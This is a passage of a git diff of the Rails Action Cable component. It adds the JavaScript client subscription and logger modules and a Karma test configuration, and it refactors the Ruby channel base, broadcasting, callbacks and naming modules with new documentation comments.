+//   Example:
+//
+//   import * as ActionCable from '@rails/actioncable'
+//
+//   ActionCable.logger.enabled = true
+//   ActionCable.logger.log('Connection Established.')
+//
+
+export default {
+  log(...messages) {
+    if (this.enabled) {
+      messages.push(Date.now())
+      adapters.logger.log("[ActionCable]", ...messages)
+    }
+  },
+}
diff --git a/actioncable/app/javascript/action_cable/subscription.js b/actioncable/app/javascript/action_cable/subscription.js
new file mode 100644
index 0000000000000..7de08f93b3de5
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/subscription.js
@@ -0,0 +1,89 @@
+// A new subscription is created through the ActionCable.Subscriptions instance available on the consumer.
+// It provides a number of callbacks and a method for calling remote procedure calls on the corresponding
+// Channel instance on the server side.
+//
+// An example demonstrates the basic functionality:
+//
+//   App.appearance = App.cable.subscriptions.create("AppearanceChannel", {
+//     connected() {
+//       // Called once the subscription has been successfully completed
+//     },
+//
+//     disconnected({ willAttemptReconnect: boolean }) {
+//       // Called when the client has disconnected with the server.
+//       // The object will have an `willAttemptReconnect` property which
+//       // says whether the client has the intention of attempting
+//       // to reconnect.
+//     },
+//
+//     appear() {
+//       this.perform('appear', {appearing_on: this.appearingOn()})
+//     },
+//
+//     away() {
+//       this.perform('away')
+//     },
+//
+//     appearingOn() {
+//       $('main').data('appearing-on')
+//     }
+//   })
+//
+// The methods #appear and #away forward their intent to the remote AppearanceChannel instance on the server
+// by calling the `perform` method with the first parameter being the action (which maps to AppearanceChannel#appear/away).
+// The second parameter is a hash that'll get JSON encoded and made available on the server in the data parameter.
+//
+// This is how the server component would look:
+//
+//   class AppearanceChannel < ApplicationActionCable::Channel
+//     def subscribed
+//       current_user.appear
+//     end
+//
+//     def unsubscribed
+//       current_user.disappear
+//     end
+//
+//     def appear(data)
+//       current_user.appear on: data['appearing_on']
+//     end
+//
+//     def away
+//       current_user.away
+//     end
+//   end
+//
+// The "AppearanceChannel" name is automatically mapped between the client-side subscription creation and the server-side Ruby class name.
+// The AppearanceChannel#appear/away public methods are exposed automatically to client-side invocation through the perform method.
+
+const extend = function(object, properties) {
+  if (properties != null) {
+    for (let key in properties) {
+      const value = properties[key]
+      object[key] = value
+    }
+  }
+  return object
+}
+
+export default class Subscription {
+  constructor(consumer, params = {}, mixin) {
+    this.consumer = consumer
+    this.identifier = JSON.stringify(params)
+    extend(this, mixin)
+  }
+
+  // Perform a channel action with the optional data passed as an attribute
+  perform(action, data = {}) {
+    data.action = action
+    return this.send(data)
+  }
+
+  send(data) {
+    return this.consumer.send({command: "message", identifier: this.identifier, data: JSON.stringify(data)})
+  }
+
+  unsubscribe() {
+    return this.consumer.subscriptions.remove(this)
+  }
+}
diff --git a/actioncable/app/javascript/action_cable/subscription_guarantor.js b/actioncable/app/javascript/action_cable/subscription_guarantor.js
new file mode 100644
index 0000000000000..7d6ad98fa3904
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/subscription_guarantor.js
@@ -0,0 +1,50 @@
+import logger from "./logger"
+
+// Responsible for ensuring channel subscribe command is confirmed, retrying until confirmation is received.
+// Internal class, not intended for direct user manipulation.
+
+class SubscriptionGuarantor {
+  constructor(subscriptions) {
+    this.subscriptions = subscriptions
+    this.pendingSubscriptions = []
+  }
+
+  guarantee(subscription) {
+    if(this.pendingSubscriptions.indexOf(subscription) == -1){ 
+      logger.log(`SubscriptionGuarantor guaranteeing ${subscription.identifier}`)
+      this.pendingSubscriptions.push(subscription) 
+    }
+    else {
+      logger.log(`SubscriptionGuarantor already guaranteeing ${subscription.identifier}`)
+    }
+    this.startGuaranteeing()
+  }
+
+  forget(subscription) {
+    logger.log(`SubscriptionGuarantor forgetting ${subscription.identifier}`)
+    this.pendingSubscriptions = (this.pendingSubscriptions.filter((s) => s !== subscription))
+  }
+
+  startGuaranteeing() {
+    this.stopGuaranteeing()
+    this.retrySubscribing()
+  }
+  
+  stopGuaranteeing() {
+    clearTimeout(this.retryTimeout)
+  }
+
+  retrySubscribing() {
+    this.retryTimeout = setTimeout(() => {
+      if (this.subscriptions && typeof(this.subscriptions.subscribe) === "function") {
+        this.pendingSubscriptions.map((subscription) => {
+          logger.log(`SubscriptionGuarantor resubscribing ${subscription.identifier}`)
+          this.subscriptions.subscribe(subscription)
+        })
+      }
+    }
+    , 500)
+  }
+}
+
+export default SubscriptionGuarantor
\ No newline at end of file
diff --git a/actioncable/app/javascript/action_cable/subscriptions.js b/actioncable/app/javascript/action_cable/subscriptions.js
new file mode 100644
index 0000000000000..0f166057ad6ea
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/subscriptions.js
@@ -0,0 +1,103 @@
+import logger from "./logger"
+import Subscription from "./subscription"
+import SubscriptionGuarantor from "./subscription_guarantor"
+
+// Collection class for creating (and internally managing) channel subscriptions.
+// The only method intended to be triggered by the user is ActionCable.Subscriptions#create,
+// and it should be called through the consumer like so:
+//
+//   App = {}
+//   App.cable = ActionCable.createConsumer("ws://example.com/accounts/1")
+//   App.appearance = App.cable.subscriptions.create("AppearanceChannel")
+//
+// For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
+
+export default class Subscriptions {
+  constructor(consumer) {
+    this.consumer = consumer
+    this.guarantor = new SubscriptionGuarantor(this)
+    this.subscriptions = []
+  }
+
+  create(channelName, mixin) {
+    const channel = channelName
+    const params = typeof channel === "object" ? channel : {channel}
+    const subscription = new Subscription(this.consumer, params, mixin)
+    return this.add(subscription)
+  }
+
+  // Private
+
+  add(subscription) {
+    this.subscriptions.push(subscription)
+    this.consumer.ensureActiveConnection()
+    this.notify(subscription, "initialized")
+    this.subscribe(subscription)
+    return subscription
+  }
+
+  remove(subscription) {
+    this.forget(subscription)
+    if (!this.findAll(subscription.identifier).length) {
+      this.sendCommand(subscription, "unsubscribe")
+    }
+    return subscription
+  }
+
+  reject(identifier) {
+    return this.findAll(identifier).map((subscription) => {
+      this.forget(subscription)
+      this.notify(subscription, "rejected")
+      return subscription
+    })
+  }
+
+  forget(subscription) {
+    this.guarantor.forget(subscription)
+    this.subscriptions = (this.subscriptions.filter((s) => s !== subscription))
+    return subscription
+  }
+
+  findAll(identifier) {
+    return this.subscriptions.filter((s) => s.identifier === identifier)
+  }
+
+  reload() {
+    return this.subscriptions.map((subscription) =>
+      this.subscribe(subscription))
+  }
+
+  notifyAll(callbackName, ...args) {
+    return this.subscriptions.map((subscription) =>
+      this.notify(subscription, callbackName, ...args))
+  }
+
+  notify(subscription, callbackName, ...args) {
+    let subscriptions
+    if (typeof subscription === "string") {
+      subscriptions = this.findAll(subscription)
+    } else {
+      subscriptions = [subscription]
+    }
+
+    return subscriptions.map((subscription) =>
+      (typeof subscription[callbackName] === "function" ? subscription[callbackName](...args) : undefined))
+  }
+
+  subscribe(subscription) {
+    if (this.sendCommand(subscription, "subscribe")) {
+      this.guarantor.guarantee(subscription)
+    }
+  }
+
+  confirmSubscription(identifier) {
+    logger.log(`Subscription confirmed ${identifier}`)
+    this.findAll(identifier).map((subscription) =>
+      this.guarantor.forget(subscription))
+  }
+
+  sendCommand(subscription, command) {
+    const {identifier} = subscription
+    return this.consumer.send({command, identifier})
+  }
+}
diff --git a/actioncable/bin/test b/actioncable/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/actioncable/bin/test
+++ b/actioncable/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/actioncable/blade.yml b/actioncable/blade.yml
deleted file mode 100644
index e38e9b2f1d348..0000000000000
--- a/actioncable/blade.yml
+++ /dev/null
@@ -1,34 +0,0 @@
-load_paths:
-  - app/assets/javascripts
-  - test/javascript/src
-  - test/javascript/vendor
-
-logical_paths:
-  - test.js
-
-build:
-  logical_paths:
-    - action_cable.js
-  path: lib/assets/compiled
-  clean: true
-
-plugins:
-  sauce_labs:
-    browsers:
-      Google Chrome:
-        os: Mac, Windows
-        version: -1
-      Firefox:
-        os: Mac, Windows
-        version: -1
-      Safari:
-        platform: Mac
-        version: -1
-      Microsoft Edge:
-        version: -1
-      Internet Explorer:
-        version: 11
-      iPhone:
-        version: -1
-      Motorola Droid 4 Emulator:
-        version: -1
diff --git a/actioncable/karma.conf.js b/actioncable/karma.conf.js
new file mode 100644
index 0000000000000..a6e03f8023760
--- /dev/null
+++ b/actioncable/karma.conf.js
@@ -0,0 +1,63 @@
+const config = {
+  browsers: ["ChromeHeadless"],
+  frameworks: ["qunit"],
+  files: [
+    "test/javascript/compiled/test.js",
+  ],
+
+  client: {
+    clearContext: false,
+    qunit: {
+      showUI: true
+    }
+  },
+
+  singleRun: true,
+  autoWatch: false,
+
+  captureTimeout: 180000,
+  browserDisconnectTimeout: 180000,
+  browserDisconnectTolerance: 3,
+  browserNoActivityTimeout: 300000,
+}
+
+if (process.env.CI) {
+  config.customLaunchers = {
+    sl_chrome: sauce("chrome", 70),
+    sl_ff: sauce("firefox", 63),
+    sl_safari: sauce("safari", "16", "macOS 13"),
+    sl_edge: sauce("microsoftedge", "latest", "Windows 11"),
+  }
+
+  config.browsers = Object.keys(config.customLaunchers)
+  config.reporters = ["dots", "saucelabs"]
+
+  config.sauceLabs = {
+    testName: "ActionCable JS Client",
+    retryLimit: 3,
+    build: buildId(),
+  }
+
+  function sauce(browserName, version, platform) {
+    const options = {
+      base: "SauceLabs",
+      browserName: browserName.toString(),
+      version: version.toString(),
+    }
+    if (platform) {
+      options.platform = platform.toString()
+    }
+    return options
+  }
+
+  function buildId() {
+    const { BUILDKITE_JOB_ID } = process.env
+    return BUILDKITE_JOB_ID
+      ? `Buildkite ${BUILDKITE_JOB_ID}`
+      : ""
+  }
+}
+
+module.exports = function(karmaConfig) {
+  karmaConfig.set(config)
+}
diff --git a/actioncable/lib/action_cable.rb b/actioncable/lib/action_cable.rb
index c2d3550acbd24..043e1395b1236 100644
--- a/actioncable/lib/action_cable.rb
+++ b/actioncable/lib/action_cable.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2015-2017 Basecamp, LLC
+# Copyright (c) 37signals LLC
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -23,30 +25,56 @@
 
 require "active_support"
 require "active_support/rails"
-require "action_cable/version"
+require "zeitwerk"
+
+# We compute lib this way instead of using __dir__ because __dir__ gives a real
+# path, while __FILE__ honors symlinks. If the gem is stored under a symlinked
+# directory, this matters.
+lib = File.dirname(__FILE__)
+
+Zeitwerk::Loader.for_gem.tap do |loader|
+  loader.ignore(
+    "#{lib}/rails", # Contains generators, templates, docs, etc.
+    "#{lib}/action_cable/gem_version.rb",
+    "#{lib}/action_cable/version.rb",
+    "#{lib}/action_cable/deprecator.rb",
+  )
+
+  loader.do_not_eager_load(
+    "#{lib}/action_cable/subscription_adapter", # Adapters are required and loaded on demand.
+    "#{lib}/action_cable/test_helper.rb",
+    Dir["#{lib}/action_cable/**/test_case.rb"]
+  )
 
+  loader.inflector.inflect("postgresql" => "PostgreSQL")
+end.setup
+
+# :markup: markdown
+# :include: ../README.md
 module ActionCable
-  extend ActiveSupport::Autoload
+  require_relative "action_cable/version"
+  require_relative "action_cable/deprecator"
 
   INTERNAL = {
     message_types: {
-      welcome: "welcome".freeze,
-      ping: "ping".freeze,
-      confirmation: "confirm_subscription".freeze,
-      rejection: "reject_subscription".freeze
+      welcome: "welcome",
+      disconnect: "disconnect",
+      ping: "ping",
+      confirmation: "confirm_subscription",
+      rejection: "reject_subscription"
+    },
+    disconnect_reasons: {
+      unauthorized: "unauthorized",
+      invalid_request: "invalid_request",
+      server_restart: "server_restart",
+      remote: "remote"
     },
-    default_mount_path: "/cable".freeze,
-    protocols: ["actioncable-v1-json".freeze, "actioncable-unsupported".freeze].freeze
+    default_mount_path: "/cable",
+    protocols: ["actioncable-v1-json", "actioncable-unsupported"].freeze
   }
 
   # Singleton instance of the server
   module_function def server
     @server ||= ActionCable::Server::Base.new
   end
-
-  autoload :Server
-  autoload :Connection
-  autoload :Channel
-  autoload :RemoteConnections
-  autoload :SubscriptionAdapter
 end
diff --git a/actioncable/lib/action_cable/channel.rb b/actioncable/lib/action_cable/channel.rb
deleted file mode 100644
index 7ae262ce5f47a..0000000000000
--- a/actioncable/lib/action_cable/channel.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActionCable
-  module Channel
-    extend ActiveSupport::Autoload
-
-    eager_autoload do
-      autoload :Base
-      autoload :Broadcasting
-      autoload :Callbacks
-      autoload :Naming
-      autoload :PeriodicTimers
-      autoload :Streams
-    end
-  end
-end
diff --git a/actioncable/lib/action_cable/channel/base.rb b/actioncable/lib/action_cable/channel/base.rb
index 718f630f58cf0..de2040769416c 100644
--- a/actioncable/lib/action_cable/channel/base.rb
+++ b/actioncable/lib/action_cable/channel/base.rb
@@ -1,115 +1,130 @@
-require "set"
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/rescuable"
+require "active_support/parameter_filter"
 
 module ActionCable
   module Channel
-    # The channel provides the basic structure of grouping behavior into logical units when communicating over the WebSocket connection.
-    # You can think of a channel like a form of controller, but one that's capable of pushing content to the subscriber in addition to simply
-    # responding to the subscriber's direct requests.
+    # # Action Cable Channel Base
     #
-    # Channel instances are long-lived. A channel object will be instantiated when the cable consumer becomes a subscriber, and then
-    # lives until the consumer disconnects. This may be seconds, minutes, hours, or even days. That means you have to take special care
-    # not to do anything silly in a channel that would balloon its memory footprint or whatever. The references are forever, so they won't be released
-    # as is normally the case with a controller instance that gets thrown away after every request.
+    # The channel provides the basic structure of grouping behavior into logical
+    # units when communicating over the WebSocket connection. You can think of a
+    # channel like a form of controller, but one that's capable of pushing content
+    # to the subscriber in addition to simply responding to the subscriber's direct
+    # requests.
     #
-    # Long-lived channels (and connections) also mean you're responsible for ensuring that the data is fresh. If you hold a reference to a user
-    # record, but the name is changed while that reference is held, you may be sending stale data if you don't take precautions to avoid it.
+    # Channel instances are long-lived. A channel object will be instantiated when
+    # the cable consumer becomes a subscriber, and then lives until the consumer
+    # disconnects. This may be seconds, minutes, hours, or even days. That means you
+    # have to take special care not to do anything silly in a channel that would
+    # balloon its memory footprint or whatever. The references are forever, so they
+    # won't be released as is normally the case with a controller instance that gets
+    # thrown away after every request.
     #
-    # The upside of long-lived channel instances is that you can use instance variables to keep reference to objects that future subscriber requests
-    # can interact with. Here's a quick example:
+    # Long-lived channels (and connections) also mean you're responsible for
+    # ensuring that the data is fresh. If you hold a reference to a user record, but
+    # the name is changed while that reference is held, you may be sending stale
+    # data if you don't take precautions to avoid it.
     #
-    #   class ChatChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       @room = Chat::Room[params[:room_number]]
-    #     end
+    # The upside of long-lived channel instances is that you can use instance
+    # variables to keep reference to objects that future subscriber requests can
+    # interact with. Here's a quick example:
     #
-    #     def speak(data)
-    #       @room.speak data, user: current_user
+    #     class ChatChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         @room = Chat::Room[params[:room_number]]
+    #       end
+    #
+    #       def speak(data)
+    #         @room.speak data, user: current_user
+    #       end
     #     end
-    #   end
     #
-    # The #speak action simply uses the Chat::Room object that was created when the channel was first subscribed to by the consumer when that
-    # subscriber wants to say something in the room.
+    # The #speak action simply uses the Chat::Room object that was created when the
+    # channel was first subscribed to by the consumer when that subscriber wants to
+    # say something in the room.
     #
-    # == Action processing
+    # ## Action processing
     #
     # Unlike subclasses of ActionController::Base, channels do not follow a RESTful
     # constraint form for their actions. Instead, Action Cable operates through a
-    # remote-procedure call model. You can declare any public method on the
-    # channel (optionally taking a <tt>data</tt> argument), and this method is
-    # automatically exposed as callable to the client.
+    # remote-procedure call model. You can declare any public method on the channel
+    # (optionally taking a `data` argument), and this method is automatically
+    # exposed as callable to the client.
     #
     # Example:
     #
-    #   class AppearanceChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       @connection_token = generate_connection_token
-    #     end
-    #
-    #     def unsubscribed
-    #       current_user.disappear @connection_token
-    #     end
+    #     class AppearanceChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         @connection_token = generate_connection_token
+    #       end
     #
-    #     def appear(data)
-    #       current_user.appear @connection_token, on: data['appearing_on']
-    #     end
+    #       def unsubscribed
+    #         current_user.disappear @connection_token
+    #       end
     #
-    #     def away
-    #       current_user.away @connection_token
-    #     end
+    #       def appear(data)
+    #         current_user.appear @connection_token, on: data['appearing_on']
+    #       end
     #
-    #     private
-    #       def generate_connection_token
-    #         SecureRandom.hex(36)
+    #       def away
+    #         current_user.away @connection_token
     #       end
-    #   end
     #
-    # In this example, the subscribed and unsubscribed methods are not callable methods, as they
-    # were already declared in ActionCable::Channel::Base, but <tt>#appear</tt>
-    # and <tt>#away</tt> are. <tt>#generate_connection_token</tt> is also not
-    # callable, since it's a private method. You'll see that appear accepts a data
-    # parameter, which it then uses as part of its model call. <tt>#away</tt>
-    # does not, since it's simply a trigger action.
+    #       private
+    #         def generate_connection_token
+    #           SecureRandom.hex(36)
+    #         end
+    #     end
+    #
+    # In this example, the subscribed and unsubscribed methods are not callable
+    # methods, as they were already declared in ActionCable::Channel::Base, but
+    # `#appear` and `#away` are. `#generate_connection_token` is also not callable,
+    # since it's a private method. You'll see that appear accepts a data parameter,
+    # which it then uses as part of its model call. `#away` does not, since it's
+    # simply a trigger action.
     #
-    # Also note that in this example, <tt>current_user</tt> is available because
-    # it was marked as an identifying attribute on the connection. All such
-    # identifiers will automatically create a delegation method of the same name
-    # on the channel instance.
+    # Also note that in this example, `current_user` is available because it was
+    # marked as an identifying attribute on the connection. All such identifiers
+    # will automatically create a delegation method of the same name on the channel
+    # instance.
     #
-    # == Rejecting subscription requests
+    # ## Rejecting subscription requests
     #
     # A channel can reject a subscription request in the #subscribed callback by
     # invoking the #reject method:
     #
-    #   class ChatChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       @room = Chat::Room[params[:room_number]]
-    #       reject unless current_user.can_access?(@room)
+    #     class ChatChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         @room = Chat::Room[params[:room_number]]
+    #         reject unless current_user.can_access?(@room)
+    #       end
     #     end
-    #   end
     #
-    # In this example, the subscription will be rejected if the
-    # <tt>current_user</tt> does not have access to the chat room. On the
-    # client-side, the <tt>Channel#rejected</tt> callback will get invoked when
-    # the server rejects the subscription request.
+    # In this example, the subscription will be rejected if the `current_user` does
+    # not have access to the chat room. On the client-side, the `Channel#rejected`
+    # callback will get invoked when the server rejects the subscription request.
     class Base
       include Callbacks
       include PeriodicTimers
       include Streams
       include Naming
       include Broadcasting
+      include ActiveSupport::Rescuable
 
       attr_reader :params, :connection, :identifier
       delegate :logger, to: :connection
 
       class << self
-        # A list of method names that should be considered actions. This
-        # includes all public instance methods on a channel, less
-        # any internal methods (defined on Base), adding back in
-        # any methods that are internal, but still exist on the class
-        # itself.
+        # A list of method names that should be considered actions. This includes all
+        # public instance methods on a channel, less any internal methods (defined on
+        # Base), adding back in any methods that are internal, but still exist on the
+        # class itself.
         #
-        # ==== Returns
-        # * <tt>Set</tt> - A set of all methods that should be considered actions.
+        # #### Returns
+        # *   `Set` - A set of all methods that should be considered actions.
         def action_methods
           @action_methods ||= begin
             # All public instance methods of this class, including ancestors
@@ -117,15 +132,19 @@ def action_methods
               # Except for public instance methods of Base and its ancestors
               ActionCable::Channel::Base.public_instance_methods(true) +
               # Be sure to include shadowed public instance methods of this class
-              public_instance_methods(false)).uniq.map(&:to_s)
+              public_instance_methods(false) -
+              # Except the internal methods
+              internal_methods).uniq
+
+            methods.map!(&:name)
             methods.to_set
           end
         end
 
         private
-          # action_methods are cached and there is sometimes need to refresh
-          # them. ::clear_action_methods! allows you to do that, so next time
-          # you run action_methods, they will be recalculated.
+          # action_methods are cached and there is sometimes need to refresh them.
+          # ::clear_action_methods! allows you to do that, so next time you run
+          # action_methods, they will be recalculated.
           def clear_action_methods! # :doc:
             @action_methods = nil
           end
@@ -135,6 +154,10 @@ def method_added(name) # :doc:
             super
             clear_action_methods!
           end
+
+          def internal_methods
+            super
+          end
       end
 
       def initialize(connection, identifier, params = {})
@@ -150,13 +173,14 @@ def initialize(connection, identifier, params = {})
 
         @reject_subscription = nil
         @subscription_confirmation_sent = nil
+        @unsubscribed = false
 
         delegate_connection_identifiers
       end
 
-      # Extract the action name from the passed data and process it via the channel. The process will ensure
-      # that the action requested is a public method on the channel declared by the user (so not one of the callbacks
-      # like #subscribed).
+      # Extract the action name from the passed data and process it via the channel.
+      # The process will ensure that the action requested is a public method on the
+      # channel declared by the user (so not one of the callbacks like #subscribed).
       def perform_action(data)
         action = extract_action(data)
 
@@ -170,8 +194,8 @@ def perform_action(data)
         end
       end
 
-      # This method is called after subscription has been added to the connection
-      # and confirms or rejects the subscription.
+      # This method is called after subscription has been added to the connection and
+      # confirms or rejects the subscription.
       def subscribe_to_channel
         run_callbacks :subscribe do
           subscribed
@@ -181,31 +205,43 @@ def subscribe_to_channel
         ensure_confirmation_sent
       end
 
-      # Called by the cable connection when it's cut, so the channel has a chance to cleanup with callbacks.
-      # This method is not intended to be called directly by the user. Instead, overwrite the #unsubscribed callback.
+      # Called by the cable connection when it's cut, so the channel has a chance to
+      # cleanup with callbacks. This method is not intended to be called directly by
+      # the user. Instead, override the #unsubscribed callback.
       def unsubscribe_from_channel # :nodoc:
+        @unsubscribed = true
         run_callbacks :unsubscribe do
           unsubscribed
         end
       end
 
+      def unsubscribed? # :nodoc:
+        @unsubscribed
+      end
+
       private
-        # Called once a consumer has become a subscriber of the channel. Usually the place to setup any streams
-        # you want this channel to be sending to the subscriber.
+        # Called once a consumer has become a subscriber of the channel. Usually the
+        # place to set up any streams you want this channel to be sending to the
+        # subscriber.
         def subscribed # :doc:
           # Override in subclasses
         end
 
-        # Called once a consumer has cut its cable connection. Can be used for cleaning up connections or marking
-        # users as offline or the like.
+        # Called once a consumer has cut its cable connection. Can be used for cleaning
+        # up connections or marking users as offline or the like.
         def unsubscribed # :doc:
           # Override in subclasses
         end
 
-        # Transmit a hash of data to the subscriber. The hash will automatically be wrapped in a JSON envelope with
-        # the proper channel identifier marked as the recipient.
+        # Transmit a hash of data to the subscriber. The hash will automatically be
+        # wrapped in a JSON envelope with the proper channel identifier marked as the
+        # recipient.
         def transmit(data, via: nil) # :doc:
-          logger.debug "#{self.class.name} transmitting #{data.inspect.truncate(300)}".tap { |m| m << " (via #{via})" if via }
+          logger.debug do
+            status = "#{self.class.name} transmitting #{data.inspect.truncate(300)}"
+            status += " (via #{via})" if via
+            status
+          end
 
           payload = { channel_class: self.class.name, data: data, via: via }
           ActiveSupport::Notifications.instrument("transmit.action_cable", payload) do
@@ -256,28 +292,37 @@ def processable_action?(action)
         end
 
         def dispatch_action(action, data)
-          logger.info action_signature(action, data)
+          logger.debug action_signature(action, data)
 
           if method(action).arity == 1
             public_send action, data
           else
             public_send action
           end
+        rescue Exception => exception
+          rescue_with_handler(exception) || raise
         end
 
         def action_signature(action, data)
-          "#{self.class.name}##{action}".tap do |signature|
-            if (arguments = data.except("action")).any?
+          (+"#{self.class.name}##{action}").tap do |signature|
+            arguments = data.except("action")
+
+            if arguments.any?
+              arguments = parameter_filter.filter(arguments)
               signature << "(#{arguments.inspect})"
             end
           end
         end
 
+        def parameter_filter
+          @parameter_filter ||= ActiveSupport::ParameterFilter.new(connection.config.filter_parameters)
+        end
+
         def transmit_subscription_confirmation
           unless subscription_confirmation_sent?
-            logger.info "#{self.class.name} is transmitting the subscription confirmation"
+            logger.debug "#{self.class.name} is transmitting the subscription confirmation"
 
-            ActiveSupport::Notifications.instrument("transmit_subscription_confirmation.action_cable", channel_class: self.class.name) do
+            ActiveSupport::Notifications.instrument("transmit_subscription_confirmation.action_cable", channel_class: self.class.name, identifier: @identifier) do
               connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:confirmation]
               @subscription_confirmation_sent = true
             end
@@ -290,12 +335,14 @@ def reject_subscription
         end
 
         def transmit_subscription_rejection
-          logger.info "#{self.class.name} is transmitting the subscription rejection"
+          logger.debug "#{self.class.name} is transmitting the subscription rejection"
 
-          ActiveSupport::Notifications.instrument("transmit_subscription_rejection.action_cable", channel_class: self.class.name) do
+          ActiveSupport::Notifications.instrument("transmit_subscription_rejection.action_cable", channel_class: self.class.name, identifier: @identifier) do
             connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:rejection]
           end
         end
     end
   end
 end
+
+ActiveSupport.run_load_hooks(:action_cable_channel, ActionCable::Channel::Base)
diff --git a/actioncable/lib/action_cable/channel/broadcasting.rb b/actioncable/lib/action_cable/channel/broadcasting.rb
index 23ed4ec943459..4717f914a4fbf 100644
--- a/actioncable/lib/action_cable/channel/broadcasting.rb
+++ b/actioncable/lib/action_cable/channel/broadcasting.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/object/to_param"
 
 module ActionCable
@@ -5,24 +9,41 @@ module Channel
     module Broadcasting
       extend ActiveSupport::Concern
 
-      delegate :broadcasting_for, to: :class
+      module ClassMethods
+        # Broadcast a hash to a unique broadcasting for this array of `broadcastables` in this channel.
+        def broadcast_to(broadcastables, message)
+          ActionCable.server.broadcast(broadcasting_for(broadcastables), message)
+        end
 
-      class_methods do
-        # Broadcast a hash to a unique broadcasting for this <tt>model</tt> in this channel.
-        def broadcast_to(model, message)
-          ActionCable.server.broadcast(broadcasting_for([ channel_name, model ]), message)
+        # Returns a unique broadcasting identifier for this `model` in this channel:
+        #
+        #     CommentsChannel.broadcasting_for("all") # => "comments:all"
+        #
+        # You can pass an array of objects as a target (e.g. Active Record model), and it would
+        # be serialized into a string under the hood.
+        def broadcasting_for(broadcastables)
+          serialize_broadcasting([ channel_name ] + Array(broadcastables))
         end
 
-        def broadcasting_for(model) #:nodoc:
-          case
-          when model.is_a?(Array)
-            model.map { |m| broadcasting_for(m) }.join(":")
-          when model.respond_to?(:to_gid_param)
-            model.to_gid_param
-          else
-            model.to_param
+        private
+          def serialize_broadcasting(object) # :nodoc:
+            case
+            when object.is_a?(Array)
+              object.map { |m| serialize_broadcasting(m) }.join(":")
+            when object.respond_to?(:to_gid_param)
+              object.to_gid_param
+            else
+              object.to_param
+            end
           end
-        end
+      end
+
+      def broadcasting_for(model)
+        self.class.broadcasting_for(model)
+      end
+
+      def broadcast_to(model, message)
+        self.class.broadcast_to(model, message)
       end
     end
   end
diff --git a/actioncable/lib/action_cable/channel/callbacks.rb b/actioncable/lib/action_cable/channel/callbacks.rb
index c740132c944ae..8412a5421e260 100644
--- a/actioncable/lib/action_cable/channel/callbacks.rb
+++ b/actioncable/lib/action_cable/channel/callbacks.rb
@@ -1,21 +1,64 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/callbacks"
 
 module ActionCable
   module Channel
+    # # Action Cable Channel Callbacks
+    #
+    # Action Cable Channel provides callback hooks that are invoked during the life
+    # cycle of a channel:
+    #
+    # *   [before_subscribe](rdoc-ref:ClassMethods#before_subscribe)
+    # *   [after_subscribe](rdoc-ref:ClassMethods#after_subscribe) (aliased as
+    #     [on_subscribe](rdoc-ref:ClassMethods#on_subscribe))
+    # *   [before_unsubscribe](rdoc-ref:ClassMethods#before_unsubscribe)
+    # *   [after_unsubscribe](rdoc-ref:ClassMethods#after_unsubscribe) (aliased as
+    #     [on_unsubscribe](rdoc-ref:ClassMethods#on_unsubscribe))
+    #
+    #
+    # #### Example
+    #
+    #     class ChatChannel < ApplicationCable::Channel
+    #       after_subscribe :send_welcome_message, unless: :subscription_rejected?
+    #       after_subscribe :track_subscription
+    #
+    #       private
+    #         def send_welcome_message
+    #           broadcast_to(...)
+    #         end
+    #
+    #         def track_subscription
+    #           # ...
+    #         end
+    #     end
+    #
     module Callbacks
       extend  ActiveSupport::Concern
       include ActiveSupport::Callbacks
 
+      INTERNAL_METHODS = [:_run_subscribe_callbacks, :_run_unsubscribe_callbacks] # :nodoc:
+
       included do
         define_callbacks :subscribe
         define_callbacks :unsubscribe
       end
 
-      class_methods do
+      module ClassMethods
         def before_subscribe(*methods, &block)
           set_callback(:subscribe, :before, *methods, &block)
         end
 
+        # This callback will be triggered after the Base#subscribed method is called,
+        # even if the subscription was rejected with the Base#reject method.
+        #
+        # To trigger the callback only on successful subscriptions, use the
+        # Base#subscription_rejected? method:
+        #
+        #     after_subscribe :my_method, unless: :subscription_rejected?
+        #
         def after_subscribe(*methods, &block)
           set_callback(:subscribe, :after, *methods, &block)
         end
@@ -29,6 +72,11 @@ def after_unsubscribe(*methods, &block)
           set_callback(:unsubscribe, :after, *methods, &block)
         end
         alias_method :on_unsubscribe, :after_unsubscribe
+
+        private
+          def internal_methods
+            INTERNAL_METHODS
+          end
       end
     end
   end
diff --git a/actioncable/lib/action_cable/channel/naming.rb b/actioncable/lib/action_cable/channel/naming.rb
index b565cb3cac9b6..9a17fc514bd2a 100644
--- a/actioncable/lib/action_cable/channel/naming.rb
+++ b/actioncable/lib/action_cable/channel/naming.rb
@@ -1,23 +1,28 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Channel
     module Naming
       extend ActiveSupport::Concern
 
-      class_methods do
-        # Returns the name of the channel, underscored, without the <tt>Channel</tt> ending.
-        # If the channel is in a namespace, then the namespaces are represented by single
+      module ClassMethods
+        # Returns the name of the channel, underscored, without the `Channel` ending. If
+        # the channel is in a namespace, then the namespaces are represented by single
         # colon separators in the channel name.
         #
-        #   ChatChannel.channel_name # => 'chat'
-        #   Chats::AppearancesChannel.channel_name # => 'chats:appearances'
-        #   FooChats::BarAppearancesChannel.channel_name # => 'foo_chats:bar_appearances'
